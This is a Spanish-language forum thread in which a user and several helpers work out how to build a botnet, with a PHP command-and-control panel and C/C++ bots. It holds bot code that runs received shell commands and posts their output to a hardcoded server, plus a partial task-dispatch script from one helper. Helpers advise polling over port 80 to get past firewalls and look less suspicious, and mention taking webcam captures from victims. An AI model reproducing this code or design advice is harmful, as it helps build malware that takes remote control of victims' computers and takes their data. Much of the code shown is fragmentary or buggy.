Foro de elhacker.net

Programación => PHP => Mensaje iniciado por: Kaxperday en 15 Septiembre 2014, 14:00 pm



Título: Controlar botnet con PHP
Publicado por: Kaxperday en 15 Septiembre 2014, 14:00 pm
Hola, tengo pensado controlar a partir de un servidor web que corra un script PHP una botnet (pero esto en teoría OJO, aprendizaje nunca práctica que luego...), ahora bien, los clientes estaría en C o C++, iré subiendo código y editando mensajes acerca del proyecto, la idea es poder gestionar desde el servidor web a las víctimas a través de una SHELL, lo que peor llevo son sockets así que una ayuda no vendrá mal, una guía o algo iré subiendo código.

Edito: subiré la carpeta entera del proyecto web si es necesario, y espero mejoras y consejos xD, gracias.

Saludos.


Título: Re: Controlar botnet con PHP
Publicado por: engel lex en 16 Septiembre 2014, 03:23 am
no es necesario sockets a menos que quieras una comunicación compleja, puedes usar los protocolos html standard

colocas en la pagina x el comando a ejecutar y lo ejecutan, si quieres comunicación de vuelta, lo envían por post y listo... si quieres que uno de ellos se conecte contigo le pasas tu ip con un comando especial y listo... eso si, la técnica es el pivote mismo de la red... le haces ingeniería inversa a un bot, y tienen evidencia suficiente para encarcelarte o por lo menos pierdes la red
 
 


Título: Re: Controlar botnet con PHP
Publicado por: Kaxperday en 16 Septiembre 2014, 13:58 pm
Gracias por tu respuesta engel, he estado trabajando hasta ahora en ello. He protegido directorios, he conseguido acceder a directorios externos al actual, estética de la web y demás blablas.

Lo que tengo es esto en el php que controlaría la botnet:
(He borrado los contenedores para ir al grano y que no se alargue el code).

Código
  1. <html>
  2. <head>
  3. <title>Mi botnet</title>
  4. <form action="bot.php" method="GET" >
  5. <sub style="color: #000000">Comando a interpretar</sub>
  6. <input type="Text" name="com" size="35" maxlength="100">
  7. <sub style="color: #000000">Seleccione bot (si no todos serán objetivos)</sub>
  8. <input type="Text" name="bot" size="8" maxlength="20">
  9. <input type="Submit" value="ENVIAR">
  10. </form>
  11. <?
  12. $comando = $_GET['com'];
  13. $bot = $_GET['bot'];
  14. if(strcmp($bot,"")==0)//mando comado a todos
  15. {
  16.  
  17. }
  18. else//busco y mando comando solo al indicado
  19. {
  20.  
  21. }
  22. //Aqui debería mandar la cadena de texto al cliente para que lo ejecute en la cmd y genere un archivo, que luego lo subiré
  23. //con un POST su contenido, cargándolo en una variable y mostrándolo.
  24. ?>
  25. </div>
  26. </center>
  27. </body>
  28. </html>
  29.  

El PHP lo que hace es recoger 2 variables que son el comando a interpretar en la SHELL del cliente, y el cliente objetivo al que se desearía interpretar, si la variable está vacía se ejecutaría a todos. Lo que no sé es como mandar desde el servidor esas cadenas con el comando a los clientes que estarían conectados, esa es la clave. Tanto para enviarlo en el PHP como para recibirlo en el C.

En el lado del C tengo esto:

Código
  1. #define IP "48.123.321.123"
  2. #define PUERTO 80
  3.  
  4. #include <stdio.h>
  5. #include <stdlib.h>
  6. #include <string.h>
  7. #include <windows.h>
  8. #include <direct.h>
  9. #include <conio.h>
  10. #include <time.h>
  11. #include <math.h>
  12.  
  13. int main()
  14. {
  15.    char cola[20]=">data.txt",comando[100];
  16.    //recibiría el comando
  17.    strcat(comando,cola);
  18.    system(comando);
  19.    conecta("data.txt");//sube la variable del usuario y contenido del archivo
  20.    //(lo que devolvio la cmd) para cargar en vars en el PHP y mostrar allí
  21.    return 0;
  22. }
  23.  
  24. void conecta(char nombre[])
  25. {
  26.    FILE *dat;
  27.    WSADATA wsa;
  28.    int sok,len,i=0;
  29.    struct sockaddr_in dir;
  30.    char buf[60384],cad[60384],aux[10],borra[50]="del ",car;
  31.    WSAStartup(MAKEWORD(2,0),&wsa);
  32.    if((sok=socket(AF_INET,SOCK_STREAM,0))==-1){}
  33.    else{
  34.        dir.sin_family=AF_INET;
  35.        dir.sin_port=htons(PUERTO);
  36.        dir.sin_addr.s_addr=inet_addr(IP);
  37.        strcat(cad,"n=");
  38.        strcat(cad,nombre);
  39.        strcat(cad,"&b=");
  40.        dat=fopen(nombre,"rt");
  41.        if(nombre==NULL)
  42.        {
  43.            exit(0);
  44.        }
  45.        while(car!=EOF)
  46.        {
  47.            i++;
  48.            fseek(dat,-i,SEEK_END);
  49.            car=fgetc(dat);
  50.            cad[strlen(cad)]=car;
  51.        }
  52.        fclose(dat);
  53.        len=strlen(cad);
  54.        printf("%s",cad);
  55.        itoa(len,aux,10);
  56.        strcpy(buf,"POST direcotior_protegido/bot.php HTTP/1.1\r\n");
  57.        strcat(buf,"Host: hostquesea.com\r\n");
  58.        strcat(buf,"Content-type: application/x-www-form-urlencoded\r\n");
  59.        strcat(buf,"Content-length: ");
  60.        strcat(buf,aux);
  61.        strcat(buf,"\r\n\r\n");
  62.        strcat(buf,cad);
  63.        connect(sok,(struct sockaddr*)&dir,sizeof(dir));
  64.        send(sok,buf,strlen(buf),0);
  65.        strcat(borra,nombre);
  66.        system(borra);
  67.    }
  68. }
  69.  
  70.  

Esto sería ya sabéis me falta mantener una conexión constante entre cliente y server y poder mandar esos comandos desde el server.

OJO a lo de directorio protegido (donde se encuentra el bot.php), porque al estarlo probablemente no me deje hacer POST a esa dirección es por eso que me pregunto que había que poner en la cabecera del POST para autentificarse porque lo busco pero no lo encuentro quizá lo sabéis.

También he de decir engel que busco aprender no crear mi propia botnet pero si saber como hacerla pues me atrae, otra cosa sería dar el paso de ponerla en funcionamiento e infectar ordenadores se me podría caer el pelo y es algo a lo que no aspiro.

Saludos, a la espera de ayuda, seguiré subiendo code y actualizándolo.
Toda mejora o consejo es bienvenida.


Título: Re: Controlar botnet con PHP
Publicado por: MinusFour en 16 Septiembre 2014, 16:15 pm
HTTP es stateless por lo que vas a tener que hacer que tus bots refresquen la pagina cada tanto para obtener los comandos. Si no tienes cuidado, vas a hacer que tus bots te hagan un DDoS a tu servicio HTTP (dependiendo de cada cuanto hagan requests y cuantos bots tengas).


Título: Re: Controlar botnet con PHP
Publicado por: Kaxperday en 16 Septiembre 2014, 16:44 pm
Tengo pensado hacer una chapucilla para saber los bots que están conectados, podría poner al bot que haga un GET cada 5 minutos a un php para saber si está conectado, el php lo guardríaa en un archivo "online.txt" que el propio php lo borraría cada 5 minutos por ejemplo para eliminar los bots que ya se fueron, asi pues el online.txt tendría algo como: "usuario:14241 online ..." también podría poner su ip, ahora vale con esto ya sabría quienes están conectados de una manera muy chapucera, pero como hago para enviar el comando desde el server con php hacia los bots, para que estos lo ejecuten, y como poder evadir ese ddos del que me hablas xD (eso ya en segundo plano).

Saludos


Título: Re: Controlar botnet con PHP
Publicado por: MinusFour en 16 Septiembre 2014, 17:09 pm
Tengo pensado hacer una chapucilla para saber los bots que están conectados, podría poner al bot que haga un GET cada 5 minutos a un php para saber si está conectado, el php lo guardríaa en un archivo "online.txt" que el propio php lo borraría cada 5 minutos por ejemplo para eliminar los bots que ya se fueron, asi pues el online.txt tendría algo como: "usuario:14241 online ..." también podría poner su ip, ahora vale con esto ya sabría quienes están conectados de una manera muy chapucera, pero como hago para enviar el comando desde el server con php hacia los bots, para que estos lo ejecuten, y como poder evadir ese ddos del que me hablas xD (eso ya en segundo plano).

Saludos

Como te dije, HTTP es stateless y para que ellos reciban el comando atraves de una petición HTTP tienen que estar haciendo REQUESTs cada tanto para obtener el comando. Tu cliente (BOT) en C tendría que leer una respuesta HTTP y parsear los comandos.


Título: Re: Controlar botnet con PHP
Publicado por: Kaxperday en 16 Septiembre 2014, 18:09 pm
Entonces el "REQUEST" es como un ping que le dice al servidor estoy listo para recibir ordenes, y debe de hacerse constantemente, para que cuando mande el comando desde el server el bot sea capaz de recibirlo, pero no entiendo hago esto y que consigo, que me faltaría.

He buscado como hacer HTTP REQUEST con C y he encontrado esto (habría que pasarlo a windows):

Código
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <unistd.h>
  4. #include <string.h>
  5. #include <sys/types.h>
  6. #include <sys/socket.h>
  7. #include <netinet/in.h>
  8. #include <netdb.h>
  9.  
  10. /*
  11.  *
  12.  */
  13. int main(int argc, char** argv) {
  14.  
  15.    char arg[500];
  16.    char firstHalf[500];
  17.    char secondHalf[500];
  18.    char request[1000];
  19.    struct hostent *server;
  20.    struct sockaddr_in serveraddr;
  21.    int port = 80;
  22.  
  23.    strcpy(arg, argv[1]);
  24.  
  25.    int i;
  26.    for (i = 0; i < strlen(arg); i++)
  27.    {
  28.        if (arg[i] == '/')
  29.        {
  30.                strncpy(firstHalf, arg, i);
  31.                firstHalf[i] = '\0';
  32.                break;
  33.        }    
  34.    }
  35.  
  36.    for (i; i < strlen(arg); i++)
  37.    {
  38.        strcat(secondHalf, &arg[i]);
  39.        break;
  40.    }
  41.  
  42.    printf("\nFirst Half: %s", firstHalf);
  43.  
  44.    printf("\nSecond Half: %s", secondHalf);
  45.  
  46.    int tcpSocket = socket(AF_INET, SOCK_STREAM, 0);
  47.  
  48.    if (tcpSocket < 0)
  49.        printf("\nError opening socket");
  50.    else
  51.        printf("\nSuccessfully opened socket");
  52.  
  53.    server = gethostbyname(firstHalf);
  54.  
  55.    if (server == NULL)
  56.    {
  57.        printf("gethostbyname() failed\n");
  58.    }
  59.    else
  60.    {
  61.        printf("\n%s = ", server->h_name);
  62.        unsigned int j = 0;
  63.        while (server -> h_addr_list[j] != NULL)
  64.        {
  65.            printf("%s", inet_ntoa(*(struct in_addr*)(server -> h_addr_list[j])));
  66.            j++;
  67.        }
  68.    }
  69.  
  70.    printf("\n");
  71.  
  72.    bzero((char *) &serveraddr, sizeof(serveraddr));
  73.    serveraddr.sin_family = AF_INET;
  74.  
  75.    bcopy((char *)server->h_addr, (char *)&serveraddr.sin_addr.s_addr, server->h_length);
  76.  
  77.    serveraddr.sin_port = htons(port);
  78.  
  79.    if (connect(tcpSocket, (struct sockaddr *) &serveraddr, sizeof(serveraddr)) < 0)
  80.        printf("\nError Connecting");
  81.    else
  82.        printf("\nSuccessfully Connected");
  83.  
  84.    bzero(request, 1000);
  85.  
  86.    sprintf(request, "Get %s HTTP/1.1\r\n Host: %s\r\n \r\n \r\n", secondHalf, firstHalf);
  87.  
  88.    printf("\n%s", request);
  89.  
  90.    if (send(tcpSocket, request, strlen(request), 0) < 0)
  91.        printf("Error with send()");
  92.    else
  93.        printf("Successfully sent html fetch request");
  94.  
  95.    bzero(request, 1000);
  96.  
  97.    recv(tcpSocket, request, 999, 0);
  98.    printf("\n%s", request);
  99.    printf("\nhello");
  100.  
  101.    close(tcpSocket);
  102.  
  103.    return (EXIT_SUCCESS);
  104. }

Esto es en teoría un HTTP REQUEST, que no se lo que es aún, ¿dónde recogería, en que variable el comando del server?, perdonad mi ignorancia porque nunca he trabajado con algo parecido y me parece muy complejo, lo veo todo borroso.

Podría hacer una función en mi bot que haga un HTTP REQUEST, pero, ¿cuando debería usarla y por qué?

Edito: Lo borro todo, eso de request es demasiado complejo y molesto, mi idea es que los bots hagan un POST al server y este guarde su dirección IP en un archivo, este archivo se borra cada cierto tiempo, bien tenemos las ips en el archivo, continuamos...
Ahora usamos esto:

Código
  1. <?php
  2.  
  3. /* Permitir al script esperar para conexiones. */
  4.  
  5. /* Activar el volcado de salida implícito, así veremos lo que estamo obteniendo
  6.  * mientras llega. */
  7.  
  8. $address = '192.168.1.53';
  9. $port = 10000;
  10.  
  11. if (($sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) === false) {
  12.    echo "socket_create() falló: razón: " . socket_strerror(socket_last_error()) . "\n";
  13. }
  14.  
  15. if (socket_bind($sock, $address, $port) === false) {
  16.    echo "socket_bind() falló: razón: " . socket_strerror(socket_last_error($sock)) . "\n";
  17. }
  18.  
  19. if (socket_listen($sock, 5) === false) {
  20.    echo "socket_listen() falló: razón: " . socket_strerror(socket_last_error($sock)) . "\n";
  21. }
  22.  
  23. do {
  24.    if (($msgsock = socket_accept($sock)) === false) {
  25.        echo "socket_accept() falló: razón: " . socket_strerror(socket_last_error($sock)) . "\n";
  26.        break;
  27.    }
  28.    /* Enviar instrucciones. */
  29.    $msg = "\nBienvenido al Servidor De Prueba de PHP. \n" .
  30.        "Para salir, escriba 'quit'. Para cerrar el servidor escriba 'shutdown'.\n";
  31.    socket_write($msgsock, $msg, strlen($msg));
  32.  
  33.    do {
  34.        if (false === ($buf = socket_read($msgsock, 2048, PHP_NORMAL_READ))) {
  35.            echo "socket_read() falló: razón: " . socket_strerror(socket_last_error($msgsock)) . "\n";
  36.            break 2;
  37.        }
  38.        if (!$buf = trim($buf)) {
  39.            continue;
  40.        }
  41.        if ($buf == 'quit') {
  42.            break;
  43.        }
  44.        if ($buf == 'shutdown') {
  45.            socket_close($msgsock);
  46.            break 2;
  47.        }
  48.        $talkback = "PHP: Usted dijo '$buf'.\n";
  49.        socket_write($msgsock, $talkback, strlen($talkback));
  50.        echo "$buf\n";
  51.    } while (true);
  52.    socket_close($msgsock);
  53. } while (true);
  54.  
  55. socket_close($sock);
  56. ?>

Esto enviaría una cadena al cliente bot, a través de su ip (la tenemos en el archivo) y un puerto (el que queramos), a través de esto enviamos el comando objetivo cumplido, o ¿me equivoco?

Edito: El server es evidente no podrá controlar más de unos 100 bots a la vez, pues estos para actualizar el "online.txt" deben mandar un POST cada minuto para indicar que están conectados y así el server poder enviar a través de su ip y puerto el comando con la orden.

Saludos y gracias por la paciencia xD


Título: Re: Controlar botnet con PHP
Publicado por: daryo en 16 Septiembre 2014, 18:58 pm
uff mejor hacerla en sockets no? que necesidad de estar haciendo peticiones

ya que no haras nada malo usa irc para probar , es un protocolo sencillo . si lo usas para fines maliciosos por irc sera bastate simple que den contigo si no preguntale a algunos usuarios del foro


Título: Re: Controlar botnet con PHP
Publicado por: Kaxperday en 16 Septiembre 2014, 19:10 pm
Si usa sockets los usa para enviar el comando desde el servidor hasta los bots clientes.
Como dije, este comando se enviaría a todos los usuarios conectados que estarían en el archivo, si falla uno (se desconecta después de refrescarse)  fallaría la conexión y se cancelaría el comando para ese usuario no habría problema.

Ahora bien faltaría necesitaría ayuda pues no sé como funciona del todo el código PHP que posteé creo que hace lo que dije, ahora tengo que crear en el cliente/bot un socket que se encargue de recoger ese comando y eso no lo sé hacer, haber si alguien me echa un cable porque nunca he trabajado con sockets xD, se hacer POST y nada más.

Creo con esto que la idea está clara, sería una botnet para un reducido número de bots, y es ás en un caso de que sean muy pocos (menos de 20) no haría falta crear el online.txt ni refrescarlo, podríamos hacer un for e ir recorriendolos uno a uno: que está conectado? le mandamos comando, que no? socket falla cancelamos comando. Si son pocos esto sería viable.

Saludos



Título: Re: Controlar botnet con PHP
Publicado por: MinusFour en 16 Septiembre 2014, 19:12 pm
Yo creo que vas a tener mejores respuestas para C en el subforo de C.

https://foro.elhacker.net/programacion_cc-b49.0/


Título: Re: Controlar botnet con PHP
Publicado por: Vaagish en 16 Septiembre 2014, 19:51 pm
Esto es una pequeña parte de un proyecto que arme hace un tiempo ya..

Código
  1. if($_POST){
  2.  
  3. $Request = $_POST['A'];
  4.  
  5. switch($Request){
  6.  
  7. case "TS":
  8. // Actualizar / Pedir tareas
  9. $IP = $_POST['B'];
  10.  
  11. $Result = mysqli_query($Connex, "SELECT Tareas, Path FROM bots WHERE Ip = '$IP'");
  12.  
  13. if(!mysqli_num_rows($Result))
  14. {
  15. echo "RH\0";
  16. break;
  17. }
  18.  
  19. $TIME = date("H:i:s");
  20. mysqli_query($Connex, "UPDATE bots SET Actualizacion = '$TIME' WHERE Ip = '$IP'");
  21.  
  22. $row = mysqli_fetch_assoc($Result);
  23.  
  24. if($row['Tareas'])
  25. {
  26. if ($row['Tareas'] == "EX" || $row['Tareas'] == "AI" || $row['Tareas'] == "SM" || $row['Tareas'] == "GT")
  27. {
  28. echo $row['Tareas']." ".$row['Path']."\0";
  29. }else{
  30. echo $row['Tareas']."\0";
  31. }
  32. }
  33. $Result = mysqli_query($Connex, "UPDATE bots SET Tareas = '' WHERE Ip = '$IP'");
  34. break;

Bueno, no esta completo el ejemplo.. es una porcion, pero creo que es la porcion mas importante..  ;)

Y en C++ precisas algo asi..

Código
  1. // OVERLOAD SENDREQUEST
  2. /* ****************************** */
  3. int SendRequest(SOCKET s, char *data1, char *data2)
  4. {
  5. char HOST[200] = "\0";
  6. char LEN[100] = "\0";
  7. char BUFFER[2048] = "\0";
  8.  
  9. sprintf_s(HOST, sizeof(HOST), HTTPHEAD, "/php/core.php", "TUHOST");
  10. sprintf_s(B1, sizeof(B1), HTTPTEXT, "form-data", "A");
  11. sprintf_s(B2, sizeof(B2), HTTPTEXT, "form-data", "B");
  12.  
  13. sprintf_s(LEN, sizeof(LEN), HTTPLENG, strlen(B1) + strlen(B2) + strlen(data1) + strlen(data2) + strlen(HTTPENDS) + 2);
  14.  
  15. strcat(BUFFER, HOST);
  16.  
  17. strcat(BUFFER + strlen(BUFFER), LEN);
  18. strcat(BUFFER + strlen(BUFFER), B1);
  19. strcat(BUFFER + strlen(BUFFER), data1);
  20. strcat(BUFFER + strlen(BUFFER), "\r\n");
  21. strcat(BUFFER + strlen(BUFFER), B2);
  22. strcat(BUFFER + strlen(BUFFER), data2);
  23. strcat(BUFFER + strlen(BUFFER), HTTPENDS);
  24.  
  25. send(s, BUFFER, strlen(BUFFER), 0);
  26.  
  27. return 0;
  28. }

No voy a entrar en las cabeceras HTML, porque recuerdo que costo bastante, y resolverlo me dio una alegria inmensa, asi que dejo para que te alegres vos tambien..  ;D

Saludos!


Título: Re: Controlar botnet con PHP
Publicado por: Kaxperday en 16 Septiembre 2014, 23:19 pm
Gracias Vaagish, me podrías explicar ¿como funciona tu código? Mi interpretación es que el cliente manda un POST y el PHP en función a lo que le manda trabaja sobre bases de datos (cosas que no he dado). No entiendo para que funciona. Yo solo busco algo tan simple y complejo como enviar una cadena desde un servidor PHP a un cliente C. Pero no entiendo, si el server manda una cadena al cliente, en este caso el server sería el cliente, un lío.

Código de un server PHP:

http://www.codeproject.com/Tips/418814/Socket-Programming-in-PHP (http://www.codeproject.com/Tips/418814/Socket-Programming-in-PHP)

Código
  1. <?
  2. $host = "127.0.0.1";
  3. $port = 5353;
  4. // No Timeout
  5. $socket = socket_create(AF_INET, SOCK_STREAM, 0) or die("Could not create socket\n");
  6. $result = socket_bind($socket, $host, $port) or die("Could not bind to socket\n");
  7. $result = socket_listen($socket, 3) or die("Could not set up socket listener\n");
  8. $spawn = socket_accept($socket) or die("Could not accept incoming connection\n");
  9. //abajo lee el mensaje del cliente.
  10. $input = socket_read($spawn, 1024) or die("Could not read input\n");
  11. //abajo invierte la cadena recibida y la manda al cliente BIEN SABEMOS MANDAR ALGO
  12. //AL CLIENTE!
  13. $output = strrev($input) . "\n";
  14. socket_write($spawn, $output, strlen ($output)) or die("Could not write output\n");
  15. socket_close($spawn);
  16. socket_close($socket);
  17. ?>
  18.  

Ahora observo el ejemplo de cliente que usa la página, está en PHP pero trataré de pasarlo a C aquí abajo:

Código
  1. /*headers...*/
  2. #define IP 80.234.23.123
  3. #define PUERTO 80
  4. int main()
  5. {
  6. WSADATA wsa;
  7.    int sok,len,i=0;
  8. char *buf="holaa",baf[100];
  9.    struct sockaddr_in dir;
  10. WSAStartup(MAKEWORD(2,0),&wsa);
  11.    if((sok=socket(AF_INET,SOCK_STREAM,0))==-1){}
  12.    else{
  13.        dir.sin_family=AF_INET;
  14.        dir.sin_port=htons(PUERTO);
  15.        dir.sin_addr.s_addr=inet_addr(IP);
  16. connect(sok,(struct sockaddr*)&dir,sizeof(dir));
  17. write(sok,buf,strlen(buf));
  18. recv(sok,baf,strlen(baf));
  19. closesocket(sock);
  20. return 0;
  21. }
  22.  

Gente creo que me ha quedado bastante bien el cliente y el server que era lo que buscaba, ahora a probarlo que esa es otra, pero no esta mal traduciendolo de PHP a C he aprendido bastantes cosas, si me dejo algo decidme, seguire trabajando.

Edito: El server web debería solo de poder escuchar peticiones en el puerto 80, pues supongo que no se le podrán abrir otros puertos al ser servidor gratuito, pero ese es el mismo puerto para http, funcionaría? no sé

Edito: Como va a funcionar si no estoy indicando el php con el que quiero trabajar... haber.

Saludos


Título: Re: Controlar botnet con PHP
Publicado por: Vaagish en 17 Septiembre 2014, 00:26 am
Hi! Lo que yo hice en mi momento fue hacer POST, cada 30's al web server, este se fija en la base de datos si ya tiene guardado al cliente (mediante su IP), si el cliente ya estaba en esa base de datos, busco una tarea para enviarle, esto lo hace el "echo", yo al principio creía que se iba a escribir el comando para cada uno de los bots conectados, pero para mi sorpresa, funciona para el cliente "conectado" en ese momento, es como tener "una versión de la pagina" para cada cliente ;)

Bueno, el asunto mas complejo es que los REQUEST'S que envía C++, son protocolo HTML, este protocolo (al igual que todos, creo) No es complicado, lo complicado es no cometer errores,, por ej: Un espacio de mas, o un Content Length con un byte menos (o mas) que el exacto...

Sobre los Socket en C++ deberias seguir el hilo en el subforo de C++, seria lo correcto y en donde hay mas información..

Suerte! Saludos!

PD: Creo que el uso de Base de Datos es fundamental para este tipo de situaciones,, de otra forma no se me ocurre...  :silbar:


Título: Re: Controlar botnet con PHP
Publicado por: Kaxperday en 17 Septiembre 2014, 00:38 am
Ya veo, tu botnet al parecer era pasiva, los bot mandaban un POST y en función de su estado se les asignaba una tarea, pero sin embargo tiene una cosa que me interesa, háblame acerca del echo, ¿es necesario para enviar la "tarea al bot" (que sería la cadena al cliente que llevo buscando dónde iría el comando) estar trabajando con una base de datos? De no ser así, me gustaría como capta la orden el cliente que se inicia a partir del echo.

PD: No tengo idea de base de datos podría ponerme también a ello, pero paso de sacarme la carrera en una semana que a este ritmo XDD

Gracias y saludos.

Edito: Estoy con ello jajaja, acabo de probar un cliente en el servidor, a ese cliente le paso las ips del archivo y va mandando los comandos uno a uno jajaja, me parto he dado a enviar comando con el server c abierto y se ha quedado cargando la página en plan adiós jajaja


Título: Re: Controlar botnet con PHP
Publicado por: Kaxperday en 17 Septiembre 2014, 14:19 pm
Vamos a ver, el código creo que no está mal, si no funciona por un fallo me daría una alegría, si lo es por limitaciones del servidor es otra historia.

Haber en el bot.php tengo el siguiente script:

Código
  1. <?
  2. $comando = $_GET['com'];
  3. $bot = $_GET['bot'];
  4. $port=5748;
  5.  
  6. $socket = socket_create(AF_INET, SOCK_STREAM, 0) or die("Could not create socket\n");
  7. $result = socket_connect($socket, $bot, $port) or die("Could not connect toserver\n");
  8. socket_write($socket, $comando, strlen($message)) or die("Could not send data to server\n");
  9. socket_close($socket);
  10. }
  11. ?>
  12.  

Esto lo que hace es que cuando yo pulse ok, y envíe las variables $comando y $bot, el script se ejecuta y se mandan los datos a los servidores C.

Servidor C:

Código
  1.  
  2. #define IP "ip del server"
  3. #define PUERTO 5748
  4.  
  5. int main()
  6. {
  7.    WSADATA wsa;
  8.    int fd, fd2;
  9.    struct sockaddr_in server;
  10.    struct sockaddr_in client;
  11.    int sn_size;
  12.    char buf[60];
  13.  
  14.    WSAStartup(MAKEWORD(2,0),&wsa);
  15.  
  16.    if ((fd=socket(AF_INET, SOCK_STREAM, 0))==1)
  17.    {
  18.        printf ("Error en socketn" );
  19.        exit(-1);
  20.    }
  21.  
  22.    server.sin_family = AF_INET;
  23.    server.sin_port=htons(PUERTO);
  24.    server.sin_addr.s_addr=INADDR_ANY;
  25.    //bzero(&(server.sin_zero),8);
  26.    if (bind(fd,(struct sockaddr *) &server, sizeof(struct sockaddr))== -1)
  27.    {
  28.        printf("Error en bindn" );
  29.        exit(-1);
  30.    }
  31.  
  32.    if (listen(fd, 1) == -1)
  33.    {
  34.        printf("Error en listenn" );
  35.        exit(-1);
  36.    }
  37.  
  38.    printf("entro while ok");
  39.    while (1)
  40.    {
  41.        sn_size = sizeof(struct sockaddr_in);
  42.  
  43.        if ((fd2=accept(fd,(struct sockaddr *)&client, &sn_size)) == -1)
  44.        {
  45.            printf ("error en accept n" );
  46.            exit(-1);
  47.        }
  48.        recv(fd,buf,50,1);
  49.        printf("Comando recibido: %s",buf);
  50.        printf("Se conectaron desde %s\n", inet_ntoa(client.sin_addr));
  51.        close(fd2);
  52.    }
  53.    return 0;
  54. }
  55.  

Buendo gente esto es todo, lo que pasa ahora es que al ejecutar el script no me llegan datos al servidor, no muestra el mensaje recibido, espero que vosotros sepáis a que se debe ya estoy cerca.

Edito: OMG no me deja acceder a la página web, no me carga, he accedido con un proxy y va sin problemas, ¿que cojones?

Edito: Después de todo, el **** hosting al parecer no me deja correr el script,
cuando detecta que inicias comunicación una máquina con sockets deniega el acceso a esa ip, una media hora o más... 2 veces he probado corriendo el servidor en mi ordenador las 2 al pasar 1 minuto no podía acceder a la página con mi ip, si con proxy y demás... Luego si ese código no funciona habrá que hacer la botnet pasiva, pues ya vemos que el servidor web, no es capaz de correr un cliente php...
El socket del cliente php se creo, se creo la conexion y no supe ya más, no me deja entrar en la página  :laugh: :laugh: :laugh:


Salu2.


Título: Re: Controlar botnet con PHP
Publicado por: Kaxperday en 17 Septiembre 2014, 19:26 pm
Resumo todo, la idea que tenía era:

1-Que los bots clientes hiciesen POST y se les guardase su nombre de usuario e IP en un archivo, ese archivo se iría refrescando cada minuto (se borra y quedan guardados los que sigan haciendo POST).

2-Yo accedería a la página web iniciaría sesión, cargaría en variables los comandos a ejecutar sobre los bots, y entonces el PHP mediante sockets, iría recorriendo el archivo con los usuarios y las IPs conectadas y haría un write para pasar el comando al bot.

3-El bot recibiría el comando lo ejecutaría en una shell, guardaría el resultado en un archivo usuariodata.txt, que lo subiría por POST a el server, el server lo lee y muestra el resultado.

Eso sería todo, estoy atascado en el punto 2, en el envío del comando desde la página web al servidor. Porque el ** ******* hosting gratuito parece que no me deja, ¿alguna alternativa?

Saludos


Título: Re: Controlar botnet con PHP
Publicado por: daryo en 17 Septiembre 2014, 19:32 pm
olvidate de manejar sockets desde el servidor , no hace falta (como lo estas haciendo), personaliza la salida dependiendo la ip si quieres . pero el recorrido del servidor sobra , que cada bot se vaya conectando al servidor y lea el comando y ahi si lo ejecute.


Título: Re: Controlar botnet con PHP
Publicado por: MinusFour en 17 Septiembre 2014, 19:33 pm
La forma en la que tienes planeada tu botnet no creo que llegue a funcionar. Hoy en día todo mundo se esconde detrás de un router con un firewall que bloquean puertos de entrada.

La comunicación que tienes pensada entre la botnet y tú, es basicamente que actues tu como cliente y que ellos actuen como servidor. (Tu les envias un comando a los servidores directamente).

La mayoria de las botnets funcionan teniendo a todos los bots (clientes) conectados a un servidor y otro cliente con permisos especiales envia al servidor un comando y el comando lo dispersa a los demas clientes bots.


Título: Re: Controlar botnet con PHP
Publicado por: daryo en 17 Septiembre 2014, 19:40 pm
si a ver
que tal algo asi:

1. el bot se conecta cada 40 segundos busca al servidor esperando comandos por medio del protocolo http puerto 80

2.el servidor en caso de que no existe la ip la registra , en caso de que exista busca un comando que este para esa ip , lo muestra(el comando) en texto plano igual por el protocolo http

3.el bot ve el comando y lo ejecuta envia la salida por post

4. el servidor recibe la salida del comando por post la guarda y la muestra en el panel de control


Título: Re: Controlar botnet con PHP
Publicado por: Vaagish en 17 Septiembre 2014, 19:44 pm
Citar
La mayoria de las botnets funcionan teniendo a todos los bots (clientes) conectados a un servidor y otro cliente con permisos especiales envia al servidor un comando y el comando lo dispersa a los demas clientes bots.
+1

Si,, ademas, los sockets en servidores webs (por lo general, desconozco todos los hostings que existen) No están permitidos, por seguridad..

Con echo funciona perfecto.. lo podes enviar para cada uno de los clientes o para todos,, pero como dice MinusFour, una botnet "avanzada", mandaria un comando a uno (o varios) clientes, y entre ellos se reenvian el comando.. estilo P2P.

PD: Creo que eso quiso decir MinusFour y asi lo entendi de otra lectura por la web..

Saludos!


Título: Re: Controlar botnet con PHP
Publicado por: Kaxperday en 17 Septiembre 2014, 19:54 pm
Citar
Hoy en día todo mundo se esconde detrás de un router con un firewall que bloquean puertos de entrada.

Si que me funciono se produjo la conexión, otra cosa es que el hosting este limitado y a los pocos minutos denegara la conexión (PD sigo sin poder conectarme).
Al ejecutar el server me salto el firewall acepté y no me dió más problemas.
Pero si estoy de acuerdo si se trata de un hosting gratuito hay que cambiar la estrategia.

Citar
1. el bot se conecta cada 40 segundos busca al servidor esperando comandos por medio del protocolo http puerto 80

2.el servidor en caso de que no existe la ip la registra , en caso de que exista busca un comando que este para esa ip , lo muestra(el comando) en texto plano igual por el protocolo http

3.el bot ve el comando y lo ejecuta envia la salida por post

No entiendo, como hago para poner a servicio del bot esos comandos y que el acceda a ellos para ejecutarlos?

Como se descarga ese comando el bot y como lo ofrezco con el php?

Citar
Con echo funciona perfecto..

Eso es como va eso del echo?, se supone que echo es para mostrar cadenas no? xD

Gracias.


Título: Re: Controlar botnet con PHP
Publicado por: daryo en 17 Septiembre 2014, 20:02 pm
Citar
No entiendo, como hago para poner a servicio del bot esos comandos y que el acceda a ellos para ejecutarlos?
de la misma forma que te conectas a esta pagina, via web. php no necesita sockets para eso . como dice vaagish solo usa el comando echo(en c seria printf )

echo "un comando";

tendrias que documentarte sobre que es o como funciona http

prueba bajar el contenido de una web que este en tu host con telnet por ejemplo


Título: Re: Controlar botnet con PHP
Publicado por: Vaagish en 17 Septiembre 2014, 20:05 pm
Bueno, en resumidas cuentas y suponiendo que lo vas a hacer con "echos" y no con sockets..

Como dice daryo es la solucion

1 - El puerto 80 ya esta permitido en la PC y en los Routers
2 - La conexión la realiza el cliente, por lo tanto te evitas el cuadro de dialogo del firewall
3 - Es menos sospechoso
4 - etc, etc..

Citar
Citar
Con echo funciona perfecto..

Eso es como va eso del echo? xD

Bueno, imagínate que tenes un webPanel donde podes ver tus clientes,, bueno.. ahora que queres enviarle el comando "WEBCAM" al cliente X para que te envie una captura de la camara.. Ese comando lo metes en una base de datos (le das una orden al cliente que tenes ya previamente "registrado")..
Bueno, ese cliente se va a volver a conectar (a pedir por una orden), en ese momento es cuando se vuelve a leer la base de datos, si hay un comando para ese bot, se lo envias con ECHO.. Doy por echo que sabes usar ECHO.. (si, quedo raro he jaja)

